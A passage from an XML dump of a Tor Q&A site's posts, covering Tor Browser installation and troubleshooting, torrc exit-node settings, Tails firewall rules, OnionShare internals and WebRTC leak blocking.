than the SD card, replace step 5 and 6 with the following commands: &lt;code&gt;sudo dd if=/dev/sdb of=/dev/mmcblk0 bs=512&lt;/code&gt; to copy what can be written from one device to the other then &lt;code&gt;sudo sync&lt;/code&gt; to ensure the kernel write buffers have been cleared and written to the device.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will likely need to repeat step 8 and 9 after each upgrade since the syslinux configs will be replaced. Alternatively you can opt to remove the &lt;code&gt;live-media=removable&lt;/code&gt; option during boot by pressing tab at the boot menu and manually deleting &lt;em&gt;that one option only&lt;/em&gt; and pressing return.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-02T10:19:47.413" LastActivityDate="2016-12-02T10:19:47.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13286" PostTypeId="2" ParentId="13278" CreationDate="2016-12-03T17:43:20.067" Score="-1" Body="&lt;p&gt;Actually - in a &quot;scanhole case&quot;, when DPI is inspecting truly &lt;strong&gt;every&lt;/strong&gt; connection - using standart ports will have a good advantage. If port 80 connections are deeply inspected - then it will be easy to detect/suspect Tor usage on it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-03T17:43:20.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13288" PostTypeId="2" ParentId="13119" CreationDate="2016-12-03T20:12:58.997" Score="2" Body="&lt;p&gt;I regret that I am slightly drunk plus doing this from memory, but I have suffered this exact same problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that a version of TorBrowser was released with a problem/feature that configuration files could not cope with space-characters in pathnames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately OSX likes to store configuration data in a folder called &quot;$HOME/Library/Application[SPACE]Support&quot; - and there are a lot of other directory names with spaces in them, in your OSX Library folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't recall &lt;em&gt;precisely&lt;/em&gt; what I did to fix this, other than to manually check for anything Tor-related in my Library folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find ~/Library/ | egrep -i 'tor(project|browser)'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and delete it; subsequent versions of the browser will stop picking up old, poisonous configuration files that way. &lt;strong&gt;DO NOT&lt;/strong&gt; do this blindly because it will delete your bookmarks too.  Copy those to a safe place, first.&lt;/p&gt;&#xA;" OwnerUserId="10551" LastActivityDate="2016-12-03T20:12:58.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13289" PostTypeId="2" ParentId="12650" CreationDate="2016-12-03T20:20:01.070" Score="1" Body="&lt;p&gt;The issue is the one I describe here. If I get a more precise solution, I shall update the comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/13119/mac-osx-10-12-sierra-tor-cannot-connect-to-control-port-mac-os-sierra-fix/13288#13288&quot;&gt;MAC OSX 10.12 Sierra -TOR cannot connect to control port mac os sierra fix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10551" LastActivityDate="2016-12-03T20:20:01.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13290" PostTypeId="1" AcceptedAnswerId="13309" CreationDate="2016-12-03T20:26:14.910" Score="1" ViewCount="653" Body="&lt;p&gt;Yesterday I downloaded TorBrowser-6.0.7-osx64_en-US.dmg from torproject.org.  The GPG checks out.  However, it hangs when opening the .dmg file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Double-click the .dmg file (or I right-click and select &quot;Open with&quot; diskimagemounter).&lt;/li&gt;&#xA;&lt;li&gt;It opens a window saying &quot;Opening TorBrowser-6.0.7-osx64_en-US.dmg&quot;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Verifying...  [This completes.]&lt;/li&gt;&#xA;&lt;li&gt;Attaching...  [This hangs.]&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It eventually times out.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZX1W1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZX1W1.png&quot; alt=&quot;Screenshot of &amp;quot;Attaching...&amp;quot; for Spanish-language download&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UgDEg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UgDEg.png&quot; alt=&quot;Operation timed out&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same errors with the Spanish version.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using a MacBook Air, 11&quot; (Early 2015). 2.2 GHz Intel Core i7. &lt;/p&gt;&#xA;" OwnerUserId="15291" LastActivityDate="2016-12-05T15:51:47.837" Title="Cannot install 6.0.7 on OSX El Capitan - .dmg won't open" Tags="|tor-browser-bundle|mac|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13291" PostTypeId="1" AcceptedAnswerId="13299" CreationDate="2016-12-04T05:23:18.620" Score="1" ViewCount="374" Body="&lt;p&gt;I have Tor Browser Bundle 6.0.7 installed on linux and I also installed stand-alone tor through &lt;code&gt;yum&lt;/code&gt;. I run standalone tor in a shell while TBB is running but any shell traffic (e.g. &lt;code&gt;wget&lt;/code&gt;) redirected to &lt;code&gt;torsocks&lt;/code&gt; doesn't go to TBB's tor, but to standalone tor (i.e. the traffic dosen't mix), meaning &lt;code&gt;torsocks wget&lt;/code&gt; won't work even if TBB is running, without standalone tor.&#xA;My process list is as follows (I simplified it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    gnome-terminal-server&#xA;      bash&#xA;        sudo&#xA;          tor&#xA;      bash&#xA;        wget &amp;lt;-- with torsocks&#xA;&#xA;    ...&#xA;&#xA;    firefox&#xA;      tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why can't I redirect all traffic to one &lt;code&gt;tor&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14882" LastActivityDate="2016-12-04T18:35:00.983" Title="Why are Tor Browser's tor and standalone tor isolated?" Tags="|tor-browser-bundle|network-configuration|socks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13292" PostTypeId="2" ParentId="13270" CreationDate="2016-12-04T11:11:48.123" Score="2" Body="&lt;h3&gt;1- Get bridges:&lt;/h3&gt;&#xA;&lt;p&gt;Enter &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt; on your mobile browser. On the page opened, click on &amp;quot;Get Bridges&amp;quot; option. Scroll down to the &amp;quot;Advanced Options&amp;quot; box, and select &amp;quot;obfs4&amp;quot; on &amp;quot;Do you need a Pluggable Transport?&amp;quot;. I didn't meddle with the &amp;quot;Do you need IPv6 Addresses?&amp;quot; option. By default, I found the &amp;quot;Advanced Options&amp;quot; box already selected as &amp;quot;obfs4&amp;quot; and &amp;quot;Do you need IPv6 Addresses?&amp;quot;  box unchecked. Then, click on get bridges. Do the captcha. Get the bridge IP's and ports and other information.&lt;/p&gt;&#xA;&lt;h3&gt;2- Apply bridge settings on Orbot:&lt;/h3&gt;&#xA;&lt;p&gt;On mobile, click Orbot app. Get to settings in the app. Scroll down to the &amp;quot;Bridges&amp;quot; header. Check &amp;quot;Use Bridges&amp;quot; option. Then go back to your mobile browser and copy &lt;em&gt;all&lt;/em&gt; the line that &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt; gives you as bridge information. Copy all the line. Then, head back to the Orbot app options, and click &amp;quot;Bridges&amp;quot; option. Paste the copied information in the pop-up. Click &amp;quot;OK&amp;quot;.&lt;/p&gt;&#xA;&lt;h3&gt;3- Restart your mobile device:&lt;/h3&gt;&#xA;&lt;p&gt;Now, at first, I wasn't aware that I needed to restart my mobile device. So, the changes didn't have any effect. But, after restarting my mobile device, the changes seem to get applied. Now, I can connect to the internet through Tor network on mobile data.&lt;/p&gt;&#xA;" OwnerUserId="15264" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-04-26T21:18:14.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13293" PostTypeId="1" CreationDate="2016-12-04T12:20:44.497" Score="1" ViewCount="21" Body="&lt;p&gt;In torrc, with &lt;code&gt;AllowDotExit&lt;/code&gt; and &lt;code&gt;MapAddress&lt;/code&gt; i can specify only one exit node for &quot;mysite.com&quot;.&#xA;For example with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AllowDotExit 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MapAddress mysite.com mysite.com.mynode.exit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;ExitNodes&lt;/code&gt; and &lt;code&gt;StrictNodes&lt;/code&gt; i can specify ten exit nodes but for all sites. For example with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ExitNodes mynode1, mynode2, ... mynode10&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;I want that for &quot;mysite.com&quot; tor use only ten exit node that i specify in torrc and for others sites use all exit nodes.&#xA;How can i do this?&lt;/p&gt;&#xA;" OwnerUserId="15298" LastActivityDate="2016-12-04T12:20:44.497" Title="Use only specifics exit nodes for a site" Tags="|exit-relays|" AnswerCount="0" CommentCount="0" ClosedDate="2016-12-04T22:04:02.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="13294" PostTypeId="1" CreationDate="2016-12-04T12:21:50.557" Score="4" ViewCount="698" Body="&lt;p&gt;In &lt;code&gt;torrc&lt;/code&gt;, using &lt;code&gt;AllowDotExit&lt;/code&gt; and &lt;code&gt;MapAddress&lt;/code&gt; I can specify only one exit node for &quot;mysite.com&quot;.&#xA;For example with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AllowDotExit 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MapAddress mysite.com mysite.com.mynode.exit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;ExitNodes&lt;/code&gt; and &lt;code&gt;StrictNodes&lt;/code&gt; I specify ten exit nodes but for all sites. For example with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ExitNodes mynode1, mynode2, ... mynode10&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;I want to arrange that for &quot;mysite.com&quot;, Tor uses only the ten exit nodes that I specify in torrc but allow other sites to use all exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I this?&lt;/p&gt;&#xA;" OwnerUserId="15299" LastEditorUserId="435" LastEditDate="2017-03-07T22:24:45.420" LastActivityDate="2017-10-04T01:39:27.670" Title="Use only specifics exit nodes for a site" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13295" PostTypeId="1" AcceptedAnswerId="13298" CreationDate="2016-12-04T14:16:57.580" Score="1" ViewCount="237" Body="&lt;p&gt;I had a look at the &lt;code&gt;iptables&lt;/code&gt; rules from Tails OS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Briefly speaking, what is the purpose of the &lt;code&gt;lan&lt;/code&gt; iptables rules?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chain lan (3 references)&#xA;target     prot opt source               destination         &#xA;REJECT     tcp  --  anywhere             anywhere             tcp dpt:domain reject-with icmp-port-unreachable&#xA;REJECT     udp  --  anywhere             anywhere             udp dpt:domain reject-with icmp-port-unreachable&#xA;REJECT     all  --  anywhere             anywhere             owner UID match postgres reject-with icmp-port-unreachable&#xA;ACCEPT     all  --  anywhere             anywhere  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15302" LastActivityDate="2016-12-04T18:09:22.133" Title="What is the purpose of the nat ipables rules in Tails netfilter?" Tags="|security|tails|iptables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13296" PostTypeId="2" ParentId="13294" CreationDate="2016-12-04T15:29:57.640" Score="2" Body="&lt;p&gt;It's not implemented in original Tor as far as I know. The only way to achive this functionality is using the Stem-controlled circuit built by hand.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2016-12-05T19:19:13.650" LastActivityDate="2016-12-05T19:19:13.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13298" PostTypeId="2" ParentId="13295" CreationDate="2016-12-04T18:09:22.133" Score="1" Body="&lt;p&gt;They allow access to local network resources but deny DNS and the i2p service, to prevent accidental leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/ferm/ferm.conf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ferm.conf&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        # Local network connections should not go through Tor but DNS shall be&#xA;        # rejected. I2P is explicitly blocked from communicating with the LAN.&#xA;        # (Note that we exclude the VirtualAddrNetwork used for .onion:s here.)&#xA;        daddr (10.0.0.0/8 172.16.0.0/12 192.168.0.0/16) @subchain &quot;lan&quot; {&#xA;            proto tcp dport domain REJECT;&#xA;            proto udp dport domain REJECT;&#xA;            mod owner uid-owner i2psvc REJECT;&#xA;            ACCEPT;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-04T18:09:22.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13299" PostTypeId="2" ParentId="13291" CreationDate="2016-12-04T18:35:00.983" Score="0" Body="&lt;p&gt;Tor Browser ships it's own copy with tor because it's intended to work without the user having to install any extra packages on a standard desktop environment. As such it comes with it's own copy of Tor which is launched by Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;torsocks&lt;/code&gt; through Tor Browser's tor or Tor Browser through the tor system daemon, it just requires configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torsocks&lt;/code&gt; can be configured through &lt;code&gt;torsocks.conf&lt;/code&gt;, from the &lt;code&gt;torsocks.conf(5)&lt;/code&gt; manual page that explains how to configure &lt;code&gt;torsocks.conf&lt;/code&gt; which is mentioned on the &lt;code&gt;torsocks(1)&lt;/code&gt; manual page that explains how to use &lt;code&gt;torsocks&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CONFIGURATION&#xA;SYNTAX&#xA;   The basic structure of all lines in the configuration file is:&#xA;&#xA;          &amp;lt;directive&amp;gt; &amp;lt;parameters&amp;gt;&#xA;&#xA;   Empty  lines  are ignored and all input on a line after a '#' character&#xA;   is ignored.&#xA;&#xA;DIRECTIVES&#xA;   The following directives are used in the torsocks configuration file:&#xA;...&#xA;   TorPort port&#xA;          The port on  which  the  Tor  SOCKS  server  receives  requests.&#xA;          (default: 9050)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor Browser's Tor runs by default on port 9150, to avoid conflicting with the default system tor daemon port of 9050, by reading the manual and configuring it you can infact just use one &lt;code&gt;tor&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-04T18:35:00.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13301" PostTypeId="1" CreationDate="2016-12-04T21:17:44.183" Score="1" ViewCount="887" Body="&lt;p&gt;How exactly does &lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionShare&lt;/a&gt; work to allow one to send files using onion domains? &lt;/p&gt;&#xA;" OwnerUserId="15306" LastEditorUserId="88" LastEditDate="2016-12-12T21:29:15.520" LastActivityDate="2017-02-10T23:45:05.030" Title="How does Onionshare work?" Tags="|onion-services|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13302" PostTypeId="2" ParentId="13301" CreationDate="2016-12-04T22:35:59.337" Score="0" Body="&lt;p&gt;It makes a locally-hosted instance of a webserver, basically, that self-destructs on successfull download of the file that is being shared.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-04T22:35:59.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13303" PostTypeId="2" ParentId="13301" CreationDate="2016-12-05T05:36:43.633" Score="1" Body="&lt;p&gt;OnionShare allows you to &lt;em&gt;share&lt;/em&gt; files over onions, it will allow you to offer them to other users for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It packages a lightweight, native python httpd called &lt;a href=&quot;http://flask.pocoo.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flask&lt;/a&gt;. When you start OnionShare, you provide it a list of files you want to share, it loads the files into a single zip file and uses a simple page template with a link to the zip file and then starts the httpd on some high numbered port to serve the page and zip file to the visitor(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the &lt;a href=&quot;https://stem.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt; library to connect to a running Tor's control port, trying each of the common ports in turn if it is not explicitly defined in the users environment. It then uses the &lt;code&gt;ADD_ONION&lt;/code&gt; method to create an ephemeral hidden service if the Tor version is &gt;=2.7.1 (when the functionality was added) otherwise it create a temporary directory and configures it as the place to store the information associated with the onion service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it has successfully published the newly generated onion service it performs a self-connectivity test to ensure that it is able to reach the onion over Tor and if it's successful it will provide you with a link to give other users, from which they can download the zipped up set of files you wanted to share.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-05T05:36:43.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13309" PostTypeId="2" ParentId="13290" CreationDate="2016-12-05T15:51:47.837" Score="1" Body="&lt;p&gt;It's hard to tell exactly what might be causing this issue, since OSX is not giving a precise error message, but I have seen &quot;operation timed out&quot; errors with other dmg files when there is a problem with permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I no longer use OSX, so this is just from memory; please bear with me if the layout or anything like that has changed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Launch Disk Utility from Utilities.&#xA;Select your HD from the left and then select the tab that says either &quot;repair&quot; or &quot;first aid&quot; or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see an option for &quot;Repair Permissions&quot;. Select that, and when it's complete it should read &quot;Permissions Repair Complete&quot;. Then restart and try to open the dmg file again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alison&lt;/p&gt;&#xA;" OwnerUserId="15314" LastActivityDate="2016-12-05T15:51:47.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13310" PostTypeId="2" ParentId="13230" CreationDate="2016-12-05T16:40:52.403" Score="1" Body="&lt;p&gt;Thank you for the discussion above @canonizingironize. Summary:&lt;/p&gt;&#xA;&lt;p&gt;Some fingerprint sites use the language attribute of the  tag in html code. This was deprecated with &lt;a href=&quot;https://www.w3.org/TR/WD-html40-970917/interact/scripts.html#h-19.1.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTML 4.0 Specification&lt;/a&gt; in 1997 before it became a standard. &lt;a href=&quot;http://browserspy.dk/javascript.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;browserspy.dk&lt;/a&gt; has this code:&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;&amp;lt;script language=&quot;javascript1.4&quot;&gt;&#xA;//&amp;lt;![CDATA[&#xA;    var ver14 = 1&#xA;//]]&gt;&#xA;&amp;lt;/script&gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&gt;&#xA;//&amp;lt;![CDATA[&#xA;    var ver14;&#xA;    (ver14) ? document.writeln(&quot;Supported&quot;) : document.writeln(&quot;Not supported&quot;);&#xA;//]]&gt;&#xA;&amp;lt;/script&gt;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;Firefox reads &lt;code&gt;&amp;lt;script language=&amp;quot;javascript1.4&amp;quot;&amp;gt;&lt;/code&gt;. It knows the language &lt;code&gt;javascript1.4&lt;/code&gt;. It passes the script to the Javascript engine SpiderMonkey. &lt;code&gt;//&amp;lt;![CDATA[&lt;/code&gt; and &lt;code&gt;//]]&amp;gt;&lt;/code&gt; are there for automated verification of the HTML code. They are ignored by the engine because they have a double slash in front. The engine sets the variable &lt;code&gt;ver14&lt;/code&gt; to 1. Firefox also knows &lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;/code&gt; and passes the second script. If &lt;code&gt;ver14&lt;/code&gt; was set to 1 this does write &lt;code&gt;Supported&lt;/code&gt;. else it writes &lt;code&gt;Not supported&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Firefox would not know &lt;code&gt;javascript1.6&lt;/code&gt; or &lt;code&gt;asdfasdfasdf...&lt;/code&gt;. It would not pass the first script. The variable would not be set to 1. The second script would write &lt;code&gt;Not supported&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Why is &lt;code&gt;javascript1.5&lt;/code&gt; the last one? I do not know. They might have decided to.&lt;/p&gt;&#xA;&lt;p&gt;Today Javascript is supported by implementing features of the standard. Mozilla says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&quot;JavaScript 1.8.5 [...] shipped in Firefox 4. Released July 27, 2010. [...] This is the last JavaScript version.&quot; - https:/ /developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript (05.12.2016)&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&quot;[Today] the standard for JavaScript is ECMAScript [2016, the 7th]. As of 2012, all modern browsers fully support ECMAScript 5.1. [...]&quot; - https:/ /developer.mozilla.org/en-US/docs/Web/JavaScript (05.12.2016)&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15209" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-12-05T16:40:52.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13313" PostTypeId="1" CreationDate="2016-12-06T09:20:43.117" Score="1" ViewCount="267" Body="&lt;p&gt;About whonix gateway,arm(page 2/5) sometimes(not always) shows 127.0.0.1 as my ip from the top to the bottom,like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;127.0.0.1        --&gt;  nnn.nnn.nnn.nnn(us)&#xA;127.0.0.1        --&gt;  nnn.nnn.nnn.nnn(de)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a few month ago, arm(page 2/5) always showed my external address,instead of 127.0.0.1.&#xA;Actually,I'm using (and was using a few month ago)vpn with whonix(vpn before whonix) and external ip was vpn's ip,like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;999.999.999.999(vpn's ip)    --&gt; nnn.nnn.nnn.nnn(us)&#xA;999.999.999.999(vpn's ip)    --&gt; nnn.nnn.nnn.nnn(de)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference?&lt;/p&gt;&#xA;" OwnerUserId="15324" LastActivityDate="2017-02-04T17:46:26.110" Title="(whonix) Arm shows external ip or loopback address?" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13316" PostTypeId="1" AcceptedAnswerId="13319" CreationDate="2016-12-06T13:16:13.230" Score="2" ViewCount="1133" Body="&lt;p&gt;I'm new to Linux. I've installed Tor as root user. Will I have issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this as per the instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to add the following entry in /etc/apt/sources.list or a new&#xA;  file in /etc/apt/sources.list.d/:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org xenial main&#xA;deb-src http://deb.torproject.org/torproject.org xenial main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But then I did all this as &lt;code&gt;sudo su&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then add the gpg key used to sign the packages by running the&#xA;  following commands at your command prompt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;You can install it with the following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ apt-get update&#xA;$ apt-get install tor deb.torproject.org-keyring&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I went to download Tor Browser on the next page it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do not install or run as root. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will using sudo cause problems? I didn't run the Browser as &lt;code&gt;sudo&lt;/code&gt;. Just installed and signed the packages as sudo. &lt;/p&gt;&#xA;" OwnerUserId="15327" LastEditorUserId="88" LastEditDate="2016-12-15T09:13:34.947" LastActivityDate="2016-12-15T09:13:34.947" Title="Does installing Tor as root user cause problems?" Tags="|tor-browser-bundle|debian|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13317" PostTypeId="2" ParentId="13313" CreationDate="2016-12-06T16:28:43.017" Score="1" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to have changed with Whonix 13, according to this: &lt;a href=&quot;https://phabricator.whonix.org/T434&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://phabricator.whonix.org/T434&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a nice day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ego&lt;/p&gt;&#xA;" OwnerUserId="14536" LastActivityDate="2016-12-06T16:28:43.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13319" PostTypeId="2" ParentId="13316" CreationDate="2016-12-06T19:04:13.823" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor package available through &lt;code&gt;apt-get&lt;/code&gt; isn't needed or related to using Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such the steps you performed as root won't affect the steps you performed to install Tor Browser, assuming you followed the steps given on the Tor Project site, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Download Tor Browser and it's signature&#xA;wget https://www.torproject.org/dist/torbrowser/6.0.7/tor-browser-linux64-6.0.7_en-US.tar.xz{,.asc}&#xA;# Fetch the Tor Browser GPG signing key&#xA;gpg --recv-keys 0x4E2C6E8793298290&#xA;# Verify the signature&#xA;gpg --verify tor-browser-linux64-6.0.7_en-US.tar.xz{.asc,}&#xA;if [[ $? -ne 0 ]]; then exit;fi&#xA;# Extract it&#xA;tar vxaf tor-browser-linux64-6.0.7_en-US.tar.xz&#xA;# Launch Tor Browser&#xA;./tor-browser_en-US/Browser/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-06T19:04:13.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13320" PostTypeId="2" ParentId="6130" CreationDate="2016-12-06T20:41:04.897" Score="0" Body="&lt;p&gt;I came across the following iptables rule which seems to work according to ipleak.net.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t raw -I PREROUTING -p udp -m multiport --dports 3478,19302 -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only prevents WebRTC with NAT/IPv4. It might not be totally effective, given its destination port driven, an equivalent rule would need to be devised for IPv6, but given the protocol design differences, might not be the same.&lt;/p&gt;&#xA;" OwnerUserId="15337" LastActivityDate="2016-12-06T20:41:04.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
